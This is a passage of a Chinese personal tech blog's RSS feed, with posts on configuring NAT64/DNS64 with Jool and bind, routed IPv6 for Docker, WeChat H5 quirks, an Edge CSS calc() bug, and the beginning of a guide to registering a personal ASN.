<p style="">https://x.com/rauchg/status/1997362942929440937</p>]]></description><guid isPermaLink="false">/archives/cve-2025-55182-recap</guid><dc:creator>GoForceX</dc:creator><category>技术</category><category>前端</category><pubDate>Wed, 10 Dec 2025 05:33:50 GMT</pubDate></item><item><title><![CDATA[NAT64 / DNS64？尝一下]]></title><link>https://goforcex.top/archives/nat64-dns64-wtf</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=NAT64%20%2F%20DNS64%EF%BC%9F%E5%B0%9D%E4%B8%80%E4%B8%8B&amp;url=/archives/nat64-dns64-wtf" width="1" height="1" alt="" style="opacity:0;">
<p style="">本文为《年轻人的第一个 ASN》系列番外……虽然这玩意根本就出了一篇而已。</p>
<hr>
<h2 style="" id="%E4%BD%A0%E8%AF%B4%E5%BE%97%E5%AF%B9%E2%80%A6%E2%80%A6%E4%BD%86%E6%98%AF%E4%B8%BA%E4%BB%80%E4%B9%88%E8%A6%81%E7%94%A8%E8%BF%99%E4%B8%AA%E5%91%A2%EF%BC%9F">你说得对……但是为什么要用这个呢？</h2>
<ul>
 <li>
  <p style="">IPv4？老东西什么时候似啊，都 2025 年了，IPv6 的时代已经到来力！但是众所周知很多大厂因为各种原因仍然不支持 IPv6（比如 GitHub），个人认为 NAT64 是一个非常优雅的方案。</p>
 </li>
 <li>
  <p style="">以及，作为一个大学生，经常会用到一些只能在校内使用的服务，如果校园网爆了或者在校外的话就无法使用了。这种情况下就可以在校内布设一个 NAT64 路由器，把校内的 IP 暴露到公网上，就可以爽爽使用了！</p>
 </li>
</ul>
<h2 style="" id="let's-start-from-here!">Let's start from here!</h2>
<h3 style="" id="%E7%AD%89%E7%AD%89%EF%BC%8C%E8%BF%99%E4%BA%9B%E5%90%8D%E8%AF%8D%E9%83%BD%E6%98%AF%E4%BB%80%E4%B9%88%E4%B8%9C%E8%A5%BF%EF%BC%9F">等等，这些名词都是什么东西？</h3>
<h4 style="" id="nat64">NAT64</h4>
<blockquote>
 <p style="">NAT64 是一种通过网络地址转换（NAT）的形式促成 IPv6 与 IPv4 主机间通信的 IPv6 过渡机制。</p>
 <p style="">——<a href="https://zh.wikipedia.org/wiki/NAT64">NAT64 - Wikipedia</a></p>
</blockquote>
<p style="">换句话说，这玩意是让 IPv6-only 的主机访问 IPv4 用的。由于 IPv6 的地址空间比 IPv4 大的多，所以我们仅需一段 /96 就可以完成对整个 IPv4 地址空间的映射。这时，我们访问这个映射出来的 IPv6 地址，网关就会帮我们转发到对应的 IPv4 地址上，听起来就很方便对吧。</p>
<p style="">至于映射方式，有很多种，本篇文章用到的仅为其中最简单的一种。</p>
<p style="">我们直接拿一段 /96 Prefix，然后把 IPv4 地址拼在最后 32 bits 上，没了。</p>
<p style="">举个例子，如果前缀是 <code>64:ff9b::/96</code> 的话，我们需要翻译的 IPv4 地址是 192.168.1.1……</p>
<ul>
 <li>
  <p style="">我们先把这个 IPv4 地址转成 HEX 吧！192.168.1.1→C0 A8 01 01</p>
 </li>
 <li>
  <p style="">然后拼到前缀的后面……<code>64:ff9b::c0a8:101</code>，大功告成！</p>
 </li>
</ul>
<p style="">具体可参见：<a href="https://datatracker.ietf.org/doc/html/rfc6052#section-2">Section 2 - RFC 6052 - IPv6 Addressing of IPv4/IPv6 Translators</a></p>
<h4 style="" id="dns64">DNS64</h4>
<blockquote>
 <p style="">DNS64 是指一种专门的 DNS 服务器，在其处理某个域名的 AAAA 记录查询时，如果该域名仅有 A 记录，那么 DNS64 会使用该 A 记录生成出来一项 AAAA 记录。生成出来的 IPv6 地址前缀指向一个 IPv6/IPv4 的转换器，而剩余 32 位嵌入了 A 记录中的 IPv4 地址。指向的转换器通常是一个 NAT64 服务器。</p>
 <p style="">——<a href="https://zh.wikipedia.org/wiki/IPv6%E8%BF%87%E6%B8%A1%E6%9C%BA%E5%88%B6#DNS64">DNS64 - IPv6过渡机制 - Wikipedia</a></p>
</blockquote>
<p style="">正如为什么要用 DNS 一样，应该没人会记那个又臭又长的 IP 地址并在脑内自动转换吧。有了 DNS64，我们只需要配置 DNS 就可以直接享受用 IPv6 访问 IPv4 的便利了。</p>
<h3 style="" id="%E4%BA%8B%E5%89%8D%E5%87%86%E5%A4%87">事前准备</h3>
<ul>
 <li>
  <p style="">一个有双栈访问的 Linux 服务器。</p>
  <ul>
   <li>
    <p style="">如果想用 IPv6 公网段的一段 IP 布设 NAT64 的话，需要一段 /64.</p>
   </li>
   <li>
    <p style="">如果无所谓的话，可以使用 Well-known Prefix，即 <code>64:ff9b::/96</code>。</p>
   </li>
  </ul>
 </li>
</ul>
<h3 style="" id="%E9%85%8D%E7%BD%AE-nat64">配置 NAT64</h3>
<p style="">本文将使用 Jool 进行 NAT64 的配置，在本文中，我们将会使用 <code>2a14:67c1:7f:6464::/96</code> 作为示例 IP 段，请不要直接套用这里的配置，也不要试图访问这个 IP 段，这段 IP 上什么都没有。</p>
<p style="">Jool 是一个开源的 SIIT/NAT64 配置工具，<a href="https://nicmx.github.io/Jool/en/index.html" target="_blank">官网在这里</a>，根据你服务器的系统，跟着<a href="https://nicmx.github.io/Jool/en/documentation.html" target="_blank">文档</a>进行安装就好了。</p>
<p style="">安装好了？Jool，启动！</p>
<pre><code class="language-Shell">$ modprobe jool
$ jool instance add "nat" --netfilter --pool6 2a14:67c1:7f:6464::/96</code></pre>
<p style="">哈↑哈↑，然后就没了。</p>
<p style="">如果你需要持久化这里的配置，根据你服务器的系统，查阅<a href="https://nicmx.github.io/Jool/en/run-persistent.html" target="_blank"> Jool 官方文档中的配置方案</a>就好了。</p>
<p style="">用<strong>另一个</strong>设备测试一下？由于我们使用了一段 /96 Prefix，所以可以直接使用 {prefix}:{ip} 作为最后的 IP，举个例子的话，比如说 <code>2a14:67c1:7f:6464::192.168.1.1</code> ，无需自行转换成 HEX 了。</p>
<p style="">试试 HTTP，比如 GitHub 呢？</p>
<ul>
 <li>
  <p style="">我们先用 <code>dig github.com</code> 获取到 <code>github.com</code> 的 A 记录指向 <code>20.205.243.166</code>。</p>
 </li>
 <li>
  <p style=""><code>curl http://github.com -vvv --resolve github.com:443:[2a14:67c1:7f:6464::20.205.243.166]</code></p>
 </li>
</ul>
<p style="">It works! 如果你还是不能访问，可以试试重启服务器或重新配置 Jool。</p>
<h3 style="" id="%E9%85%8D%E7%BD%AE-dns64">配置 DNS64</h3>
<p style="">你说得对，但是好难用啊，每次都要配置这个长的要命的 <code>--resolve</code> ，那有没有开箱即用的方案呢？</p>
<p style="">有的，兄弟，有的。在本文中，我们将会使用 <code>bind</code> 搭建我们的 DNS64 服务。</p>
<ol>
 <li>
  <p style="">用 <code>apt-get install bind9</code> 安装 bind，具体命令因系统而异。</p>
 </li>
 <li>
  <p style="">用你最爱的文本编辑器打开 <code>/etc/bind/named.conf.options</code> ，将下面的内容狠狠塞入，记得把 Prefix 改成你实际用的：</p>
 </li>
</ol>
<pre><code class="language-Conf">options {
    directory "/var/cache/bind";
    dnssec-validation auto;
    auth-nxdomain no;
    listen-on { any; };
    listen-on-v6 { any; };

    allow-query {any;};
    dns64 2a14:67c1:7f:6464::/96 {
        clients { any; };
        mapped { any; };
        suffix ::;
    };
};</code></pre>
<ol start="3">
 <li>
  <p style="">最后，用 <code>systemctl restart named</code> 重启 bind 服务，就大功告成了！</p>
 </li>
</ol>
<h2 style="" id="%E5%86%99%E5%9C%A8%E6%9C%80%E5%90%8E">写在最后</h2>
<p style="">嘻嘻，是不是很简单呢（迫真）</p>
<p style="">使用时需要注意，如果你使用了一段公网 IP 的话，那么你网关服务器上能访问到的所有 IP 都会被暴露到公网上，包括你内网里的妙妙服务，需要注意安全喵！</p>]]></description><guid isPermaLink="false">/archives/nat64-dns64-wtf</guid><dc:creator>GoForceX</dc:creator><category>技术</category><pubDate>Wed, 14 May 2025 15:30:33 GMT</pubDate></item><item><title><![CDATA[记一次尝试在 Docker 上启用 IPv6 访问的顶级折磨]]></title><link>https://goforcex.top/archives/configuring-ipv6-on-docker</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%B0%9D%E8%AF%95%E5%9C%A8%20Docker%20%E4%B8%8A%E5%90%AF%E7%94%A8%20IPv6%20%E8%AE%BF%E9%97%AE%E7%9A%84%E9%A1%B6%E7%BA%A7%E6%8A%98%E7%A3%A8&amp;url=/archives/configuring-ipv6-on-docker" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style="">Last-Modified: 2025-02-07</p>
 <p style="">系统环境: Debian 12, 1Panel 1.10.22-lts, Docker 27.4.1</p>
</blockquote>
<p style="">严格的讲，这一篇应该是组网系列的一篇番外。</p>
<p style="">因为我的网络配置比较神秘，文内遇到的绝大多数问题应该不会困扰到你，但是如果你的网络也像我一样神秘，那你可以看下去了。</p>
<h2 style="" id="1-%E5%AE%A2%E8%A7%82%E6%9D%A1%E4%BB%B6%E4%B8%8E%E9%9C%80%E6%B1%82">1 客观条件与需求</h2>
<p style="">为了给自己用上妙妙 AdGuard Home，于是月初的时候就给闲置的宁波 800M 带宽服务器上装好了 AdGuard Home。DoH 用起来非常的美妙，但是很快问题就来了，安卓手机系统只支持 DoT。</p>
<p style="">DoT (DNS over TLS)，是一种非常安全的 DNS 访问方式，它使用 853 端口进行通信，并有完善的鉴权机制，可以有效防止 DNS 抢答与污染（如果你的上游没被污染，并且也用了 DoT/DoH）。</p>
<p style="">しかし，国内的服务器很多屏蔽了 53/853 端口（比如说前日入手的物语云宁波 800M 大带宽服务器），导致 DoT 和普通的 DNS UDP 53 都处于无法使用的状态。但是懒得再装一次 AdGuard Home 了，于是决定利用之前申请的 ASN，分配一个 IPv6 段给宁波服务器，然后再分出一块给 Docker（对，AdGuard 跑在 Docker 里），Docker 自动分配一个 IPv6 IP 给 container，就能美美用上 DoT 了。</p>
<p style="">总结一下，大概就是这样：</p>
<ul>
 <li>
  <p style="">分配一段 /64 到宁波服务器</p>
 </li>
 <li>
  <p style="">给 Docker 配好 IPv6 地址段</p>
 </li>
 <li>
  <p style="">给 container 配好网络和路由</p>
 </li>
 <li>
  <p style="">开用！</p>
 </li>
</ul>
<h2 style="" id="2-%E5%9C%B0%E5%9D%80%E6%AE%B5%E5%88%86%E9%85%8D">2 地址段分配</h2>
<p style="">有一说一，这段其实是最简单的。</p>
<p style="">之前已经配好了开箱即用的 Zerotier Network ↓</p>
<p style=""><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=https%3A%2F%2Fcdn.goforcex.top%2F65CD80BB-EAB7-428A-8DC7-45CF222722A4.png&amp;size=m" width="460px" height="190px" style="display: inline-block"></p>
<p style="">并且可以自动为每个设备分配一个 /128 地址。</p>
<p style="">宁波服务器上装好 zerotier-one，加入 Network，就能使用神秘的 IPv6 地址了。</p>
<p style=""><s>至于路由，Zerotier 提供了自由度很高的 </s><span fontsize="" color="rgb(107, 114, 128)" style="color: rgb(107, 114, 128)"><s>开放世界</s></span><s> Flow Rules 功能，写一条规则就能把你定义好的地址段路由到指定的设备。</s></p>
<p style="">试了。如果你的需求和我差不多，那可能会产生大大小小的问题，不要用这个。</p>
<p style="">建议用妙妙 Managed Routes 功能，非常好用。</p>
<p style=""><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=https%3A%2F%2Fcdn.goforcex.top%2FF0C0BEAF-9097-4F12-A2FB-96ED5A14D0B3.png&amp;size=m" width="50%" height="auto" style="display: inline-block"></p>
<p style="">给服务器分配了两段 IPv6 /64 块，不过我们这次只需要用一个 /80 就完全够用了，鉴于 IPv6 地址太多了，所以浪费一点也没事……吧？</p>
<h2 style="" id="3-%E5%98%BB%E5%98%BB-%E6%88%91%E8%A6%81%E6%8A%84%E6%95%99%E7%A8%8B">3 嘻嘻 我要抄教程</h2>
<p style="">进入 1Panel 一眼就看见了这个非常吸引眼球的 IPv6 按钮。</p>
<p style=""><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=https%3A%2F%2Fcdn.goforcex.top%2F9E9AFEA2-5A86-4DBB-9138-FBB82B9EC20A.png&amp;size=m" alt="9E9AFEA2-5A86-4DBB-9138-FBB82B9EC20A.png" width="419px" height="310px" style="display: inline-block"></p>
<p style="">点击后，跟随 <a href="https://1panel.cn/docs/user_manual/containers/setting/" target="_blank">1Panel 的妙妙教程</a> 一步一步走，然后把你想添加 IPv6 连通性的容器改到默认的 bridge 网络下，就可以上网了……吗？</p>
<p style="">答案是确实能上网了，但是 IP 是联不通一点的。</p>
<p style="">使用 tcpdump 发现，docker 实际上对整个网段做了一个 NAT，至于为什么……只能说不太理解为什么在公网网段上 NAT。</p>
<p style="">而如果跟着教程创建新的网络，再把容器放到新的网络上，结果也是差不多的。</p>
<p style="">说实话有点绝望了，跟着 <a href="https://docs.docker.com/engine/daemon/ipv6/" target="_blank">Docker 官方教程</a> 又走了一遍，结果连网都上不去了，这下真成低能了。</p>
<h2 style="" id="4-%E5%8E%9F%E6%9D%A5%E5%B0%B1%E8%BF%99%E4%B9%88%E7%AE%80%E5%8D%95%E5%90%97">4 原来就这么简单吗</h2>
<blockquote>
 <p style="">com.docker.network.bridge.gateway_mode_ipv6=routed</p>
</blockquote>
<p style="">说实话，这篇文章写到这里多少是要虎头蛇尾了，因为解决方法真的很简单。</p>
<p style="">经过了一段时间的搜索，终于找到了这篇文档。<a href="https://docs.docker.com/engine/network/packet-filtering-firewalls/#direct-routing" target="_blank">Packet filtering and firewalls</a></p>
<p style="">如果创建网络时加上了上面的配置，那么容器对外请求时，主机就不会进行 NAT，而是直接把数据包中转到容器内。</p>
<p style="">至于端口映射，在 0.0.0.0/127.0.0.1 上映射的端口会正常的映射到 <strong>主机的对应端口</strong>，而在 :: 上映射的端口 <strong>并不会起作用</strong>，而是会让 Docker 放通 <strong>容器端口</strong>，大约就相当于是一个神秘安全组的作用了。</p>
<h2 style="" id="5-%E6%80%BB%E7%BB%93">5 总结</h2>
<p style="">再也不想配 Docker IPv6 了，感觉文档写的也很神秘……</p>
<p style="">当然我也是 Docker 菜鸡，若有问题希望大家多多指出。</p>
<p style="">根据配置不同，可能还需要配置 NDP 与 ndppd。</p>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/configuring-ipv6-on-docker</guid><dc:creator>GoForceX</dc:creator><category>技术</category><pubDate>Sun, 19 Jan 2025 14:51:40 GMT</pubDate></item><item><title><![CDATA[待更新文章小本本]]></title><link>https://goforcex.top/archives/what-a-pigeon</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E5%BE%85%E6%9B%B4%E6%96%B0%E6%96%87%E7%AB%A0%E5%B0%8F%E6%9C%AC%E6%9C%AC&amp;url=/archives/what-a-pigeon" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style="">一些想更又还没打起兴趣写的东西 ↓</p>
</blockquote>
<ol>
 <li>
  <p style="">DN42 — 学习组网的一站式平台</p>
 </li>
 <li>
  <p style="">年轻人的第一个 ASN 系列</p>
  <ol>
   <li>
    <p style="">Peer, Transit, Upstream, Downstream, IX</p>
   </li>
   <li>
    <p style="">BGP Session</p>
   </li>
   <li>
    <p style="">神秘的全 Zerotier 组网</p>
   </li>
   <li>
    <p style="">Geofeed 配置，使你 IP 属地朝鲜（或者随便什么地方）</p>
   </li>
  </ol>
 </li>
 <li>
  <p style=""></p>
 </li>
</ol>
<p style="">……还有一些说是持续更新但是实际上根本没管的文章。</p>]]></description><guid isPermaLink="false">/archives/what-a-pigeon</guid><dc:creator>GoForceX</dc:creator><category>默认分类</category><pubDate>Fri, 3 Jan 2025 16:31:17 GMT</pubDate></item><item><title><![CDATA[微信 H5 踩坑记录大全]]></title><link>https://goforcex.top/archives/write-wechat-h5-or-be-alive</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E5%BE%AE%E4%BF%A1%20H5%20%E8%B8%A9%E5%9D%91%E8%AE%B0%E5%BD%95%E5%A4%A7%E5%85%A8&amp;url=/archives/write-wechat-h5-or-be-alive" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style="">JS-SDK: <a href="https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/JS-SDK.html">微信网页开发 / JS-SDK说明文档</a></p>
 <p style="">登录授权: <a href="https://developers.weixin.qq.com/doc/offiaccount/OA_Web_Apps/Wechat_webpage_authorization.html">微信网页开发 / 网页授权</a></p>
</blockquote>
<h2 style="" id="%E5%85%B3%E4%BA%8E%E5%88%86%E4%BA%AB">关于分享</h2>
<p style="">目前无法获取用户 <strong>分享朋友圈 / 分享给朋友</strong> 的状态。</p>
<p style="">虽然很离谱，但是文档里写着 <strong>即将废弃</strong> 的四个接口其实都用不了。</p>
<p style=""></p>
<p style="">以及，如果你是点击链接进入 H5，那么分享时也会 <strong>以链接而不是卡片的形式 </strong>分享。（你配了配置也没用）</p>
<p style="">以二维码，点击卡片，公众号方式进入时，才能正常以卡片形式分享。</p>
<h2 style="" id="%E5%85%B3%E4%BA%8E%E7%99%BB%E5%BD%95">关于登录</h2>
<p style="">登录并非 API，而是直接 <strong>重定向</strong> 到微信的链接，登录授权后再由微信重定向到先前配置的 redirect_url。</p>
<p style="">若用户拒绝登录授权，微信会重定向回 <strong>发起登录时</strong> 的页面，同时扬掉你没有持久化的数据。</p>
<h2 style="" id="%E5%85%B3%E4%BA%8E%E6%91%87%E4%B8%80%E6%91%87">关于摇一摇</h2>
<p style="">苹果手机需要获取权限。</p>
<blockquote>
 <p style=""><code>DeviceMotionEvent.requestPermission();</code></p>
</blockquote>
<p style="">需要注意的是，只能在用户操作的回调中调用，无用户操作时调用无效。</p>]]></description><guid isPermaLink="false">/archives/write-wechat-h5-or-be-alive</guid><dc:creator>GoForceX</dc:creator><category>前端</category><pubDate>Thu, 2 Jan 2025 07:23:51 GMT</pubDate></item><item><title><![CDATA[Edge 浏览器 bug 定位——使我的 GitHub 界面被压扁]]></title><link>https://goforcex.top/archives/why-edge-sucks-1</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=Edge%20%E6%B5%8F%E8%A7%88%E5%99%A8%20bug%20%E5%AE%9A%E4%BD%8D%E2%80%94%E2%80%94%E4%BD%BF%E6%88%91%E7%9A%84%20GitHub%20%E7%95%8C%E9%9D%A2%E8%A2%AB%E5%8E%8B%E6%89%81&amp;url=/archives/why-edge-sucks-1" width="1" height="1" alt="" style="opacity:0;">
<blockquote>
 <p style=""><strong>132.0.2957.55 版本中确认已修复。</strong></p>
</blockquote>
<p style="">测试环境：Microsoft Edge 132.0.2957.26 (Beta Channel)</p>
<p style="">测试时间：2024/12/6 18:00</p>
<p style="">复现难度：极低</p>
<hr>
<h2 style="" id="1-%E5%8F%91%E7%8E%B0%E9%97%AE%E9%A2%98">1 发现问题</h2>
<p style="">大概是半个月之前的某天，我像往常一样打算打开 GitHub 看一眼项目的分支列表。</p>
<p style="">然后就被开幕雷击了。</p>
<p style="text-align: center"><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-hgkh.png&amp;size=m" width="25%" height="auto" style="display: inline-block"></p>
<p style="">是的，分支的名字都被压扁了，而且表头看起来也不太正常的样子。</p>
<p style="">作为对比，正常的页面是这样的：</p>
<p style="text-align: center"><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-jxog.png&amp;size=m" width="25%" height="auto" style="display: inline-block"></p>
<p style="">尝试 Chrome 和 Firefox（一个前端人怎么可能只装了一个浏览器！），发现根本没有问题。</p>
<p style="">果然还是 Edge 全责，打开 DevTools，找到文字所在的 div 元素，进入 Computed 选项卡，瞬间就发现了几个不太对劲的属性。</p>
<blockquote>
 <p style=""><code>height: 0.604167px</code></p>
 <p style=""><code>line-height: 0.6px</code></p>
</blockquote>
<p style="">很明显，问题出在 line-height 属性。此时，它的值为 <code>calc(20 / var(--table-font-size))</code> 。</p>
<p style="">鉴于 <code>--table-font-size</code> 的值为 <code>0.75rem</code>，而此时的 <code>font-size</code> 为 <code>16px</code>，<code>line-height</code> 的值大概就是 <code>calc(20 / 12px)</code> 了。</p>
<p style="">根据 CSS 规范（<a href="https://developer.mozilla.org/zh-CN/docs/Web/CSS/calc">calc() - CSS：层叠样式表 | MDN</a>），</p>
<blockquote>
 <p style="">除法，除数（<code>/</code> 右面的数）必须是 <code>&lt;number&gt;</code>。</p>
</blockquote>
<p style="">理论上这是个无效的属性值，但是实际上它却被 Edge 计算成了 <code>0.6px</code> 这个抽象数字。</p>
<p style="">试图用各种算法计算这个值无果后，遗憾的放弃了问题定位。</p>
<h2 style="" id="2-%E9%97%AE%E9%A2%98%E5%AE%9A%E4%BD%8D">2 问题定位</h2>
<p style="">在被折磨了半个月之后，我终于忍不了了。</p>
<p style="">在一个很闲的下午，我打开网上随便找的一个 CSS Playground，怀着沉重的心情输入了：</p>
<pre><code>&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
  &lt;head&gt;
    &lt;meta charset="UTF-8"&gt;
    &lt;meta name="viewport" content="width=device-width, initial-scale=1.0"&gt;
    &lt;link rel="stylesheet" href="src/style.css"&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;p&gt;F**k Microsoft Edge&lt;/p&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<pre><code>body {
  background: #ffffff;
  display: flex;
  justify-content: center;
  align-items: center;
  font-size: 16px;
}

p {
  font-size: 0.75rem;
  line-height: calc(20 / 0.75rem);
  overflow: hidden;
}</code></pre>
<p style="">果然复现出来了。<code>line-height: 0.6px</code> 也是完全一致。</p>
<p style="text-align: center"><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2Fimage-ozjl.png&amp;size=m" width="495px" height="124px" style="display: inline-block">
 <br>
 <span style="font-size: 12px; color: rgb(156, 163, 175)">↑希望你能看见这一行抽象的点↑</span></p>
<p style="">然后脑抽了在 calc 后面的被除数后面加了个 0。</p>
<p style=""><code>line-height: calc(200 / 0.75rem);</code></p>
<p style="">显示效果完全没有变化。对于一个无效的属性值，这是完全合理的。</p>
<p style="">但是 Computed 选项卡中的 <code>line-height</code> 值却变成了 <code>0.06px</code> 。</p>
<p style="">被除数 x10，值反而小了 10 倍？怎会如此呢？</p>
<p style="">这时，我们就能大概猜到原因了。</p>
<p style="">在多次改变被除数与除数后，不难发现，在：</p>
<ul>
 <li>
  <p style="">被除数为 number</p>
 </li>
 <li>
  <p style="">除数为 length</p>
 </li>
</ul>
<p style="">时，<em><u>巨硬</u></em> 的阴间优化会认为你不慎把被除数和除数写反了，于是贴心的帮你换回来。</p>
<p style="">这就是为什么 <code>line-length</code> 是 <code>0.6px</code>，因为 <code>12px / 20 == 0.6px</code>。</p>
<h2 style="" id="3-%E7%BB%93%E8%AF%AD">3 结语</h2>
<p style="">所以，真的不要进行 CSS 规范外的操作。</p>
<p style="">鉴于你跟着规范走都会有 <strong>巨量 </strong>的浏览器兼容性问题，不跟着规范走绝对会让你爽到姥姥家。</p>
<h2 style="" id="4-%E8%AF%BE%E5%90%8E%E4%BD%9C%E4%B8%9A">4 课后作业</h2>
<ol>
 <li>
  <p style=""><code>:root { font-size: 32px; }</code>
   <br>
   <code>p { line-height: calc(20 / 12rem); }</code>
   <br>
   计算后的 <code>line-height</code> 是多少？</p>
 </li>
</ol>
<p style="">好吧我已经编不下去了。希望永远不会有人再碰到这个抽象问题了。</p>
<h2 style="" id="5-%E4%B8%BA%E4%BB%80%E4%B9%88%E8%BF%98%E6%9C%89%EF%BC%9F">5 为什么还有？</h2>
<p style="">附上美丽的故事一则。</p>
<p style="">勿问为什么没有 Edge，Edge 已经被 <em><u>巨硬</u> </em>压扁了。</p>
<p style="text-align: center"><img src="https://goforcex.top/apis/api.storage.halo.run/v1alpha1/thumbnails/-/via-uri?uri=%2Fupload%2F37942ac4dff750e8e4d793f79148f8db.jpeg&amp;size=m" width="50%" height="auto" style="display: inline-block"></p>
<p style=""></p>]]></description><guid isPermaLink="false">/archives/why-edge-sucks-1</guid><dc:creator>GoForceX</dc:creator><category>前端</category><pubDate>Fri, 6 Dec 2024 15:13:44 GMT</pubDate></item><item><title><![CDATA[年轻人的第一个 ASN——（1）准备与申请]]></title><link>https://goforcex.top/archives/asn-registration-ep1</link><description><![CDATA[<img src="https://goforcex.top/plugins/feed/assets/telemetry.gif?title=%E5%B9%B4%E8%BD%BB%E4%BA%BA%E7%9A%84%E7%AC%AC%E4%B8%80%E4%B8%AA%20ASN%E2%80%94%E2%80%94%EF%BC%881%EF%BC%89%E5%87%86%E5%A4%87%E4%B8%8E%E7%94%B3%E8%AF%B7&amp;url=/archives/asn-registration-ep1" width="1" height="1" alt="" style="opacity:0;">
<p style=""><strong>观前须知</strong>：</p>
<p style="">注册 ASN 意味着你即将成为互联网无数 ISP 的一员。</p>
<p style="">这并非儿戏，不仅需要大量的时间、精力、金钱，而且如果出现配置错误，也有可能会造成互联网的<a href="https://zh.wikipedia.org/wiki/BGP%E5%8A%AB%E6%8C%81" target="_blank">部分混乱</a>。</p>
<p style="">如果你并没有 BGP 配置经验，或者你只是冲动决定，那么建议你了解一下 <a href="https://dn42.eu/Home">DN42 Wiki - Home</a>，DN42 是一个实验性的网络，专为实验和学习互联网技术而生，玩一段时间学会基本操作，再去公网操作，才能减少问题的发生。</p>
<p style="">如果你已经决定好了要成为一位 BGPlayer（或者你是来图一乐的），那就继续往下看吧。</p>
<hr>
<h2 style="" id="0-%E4%B8%80%E4%BA%9B%E5%89%8D%E7%BD%AE%E7%9F%A5%E8%AF%86">0 一些前置知识</h2>
<h3 style="" id="0.1-%E8%B0%81%E8%B4%9F%E8%B4%A3%E8%BF%99%E4%BA%9B%E4%BA%8B%EF%BC%9F">0.1 谁负责这些事？</h3>
<p style="">既然说到 ASN 申请，就不得不提到一些概念了。</p>
<blockquote>
 <p style="">RIR: Regional Internet Registry - 区域性互联网注册机构</p>
</blockquote>
<p style="">现在全世界仅有五家，分别负责非洲 (AFRINIC)、北美 (ARIN)、拉美 (LACNIC)、欧亚 (RIPE NCC)、亚太地区 (APNIC) 的互联网资源分配。</p>
<blockquote>
 <p style="">LIR: Local Internet Registry - 本地互联网注册机构</p>
</blockquote>
<p style="">有时候也被称为“大会员”，LIR 找 RIR 申请资源，然后再分配给 LIR 的客户，大致就是这么运作的。</p>
<p style="">LIR 是 RIR 的会员，每年需要交很多年费才能维持会员身份，明显是个人玩家无法承受的。</p>
<p style="">那么留给我们的路就只有一条了，找 LIR 帮自己申请 ASN、分配 IP 资源。</p>
<p style=""><strong>太长不看：目前建议在 RIPE NCC 注册 ASN。</strong></p>
<p style="">你可能想说，作为一个中国人，应该找 APNIC 申请资源吧？<strong><u>是，也不是。</u></strong></p>
<p style="">如果一家公司仅在国内开展服务，那其实应该找 CNNIC 申请资源。CNNIC 是一个 NIR (National Internet Registry, 国家性互联网注册机构)，负责管理国内的互联网资源分配。</p>
<p style="">言归正传，为什么不建议在 APNIC 注册 ASN 呢？APNIC 的价格相较 RIPE 而言贵一些（即使 RIPE 大涨价之后也是这样），而且有很多操作只能通过发邮件才能完成。而 RIPE NCC <strong>当前 </strong>的 ASN 年费是 50 EUR/y，LIR 一般来说还会涨一些价，毕竟 LIR 也要赚钱的；且 RIPE NCC 可以通过网页端进行很多操作，非常的便利。</p>
<h3 style="" id="0.2-%E6%88%90%E6%9C%AC%E5%A6%82%E4%BD%95%E5%91%A2%EF%BC%9F"><strong>0</strong>.2 成本如何呢？</h3>
<p style="">如果你还是想申请 APNIC 的 ASN，那么你可以参考：<a href="https://www.zxinc.org/lir/">ZX LIR 服务</a></p>
<p style="">提供 RIPE NCC 的 LIR 服务的商家有很多，你可以自行选择靠谱、性价比高的商家。</p>
<p style="">作为参考，我现在找的 LIR 收取 65 USD/y (大约 470 CNY) 的费用。</p>
<h3 style="" id="0.3-ipv4-or-ipv6%EF%BC%9F">0.3 IPv4 or IPv6？</h3>
<p style="">除非你是很富的富哥，大概率是负担不起 IPv4 Block 的高价的。</p>
<p style="">很多 LIR 在注册时会附赠 /44 - /48 不等的 IPv6 PA Block，具体的量随 LIR 而定。</p>
<p style="">如果以后想添加 IPv6 PA 块，价格也不会很高。</p>
<h3 style="" id="0.4-pa-or-pi%EF%BC%9F">0.4 PA or PI？</h3>
<p style="">PA: Provider Aggregatable</p>
<p style="">PI: Provider Independent</p>
<p style="">一言以蔽之：<strong>PA 块 </strong>是你 LIR 注册的，你申请到的 PA Block 是你 LIR 资源的一部分；<strong>PI 块 </strong>就恰好相反，是你自己申请来的资源。</p>
<p style="">一般来说 PA 较为廉价，而 PI 很贵，除非你是富哥不然十分不建议。</p>
<h3 style="" id="0.5-%E5%AE%9E%E5%90%8D%E4%B8%8A%E7%BD%91%EF%BC%9F">0.5 实名上网？</h3>
<p style="">如果你以自己个人身份提交申请，那所有人都能通过你的 IP 查到你的真名、地址、联系方式等资料。</p>
<p style="">注册公司的话就不会有这么大的隐私问题，但是也会增加麻烦。</p>
<hr>
<h2 style="" id="1-%E5%85%B7%E4%BD%93%E6%B5%81%E7%A8%8B">1 具体流程</h2>
<h3 style="" id="1.1-%E4%B8%80%E4%BA%9B%E5%87%86%E5%A4%87">1.1 一些准备</h3>
<p style="">根据 LIR 商家不同，准备流程与材料有很大区别。</p>
<p style="">一定要提交的资料包括：</p>
<ul>
 <li>
  <p style="">（个人身份）你的身份证正反面 / 护照照片（一般是二选一，需要你在 iDenfy 上认证）</p>
 </li>
 <li>
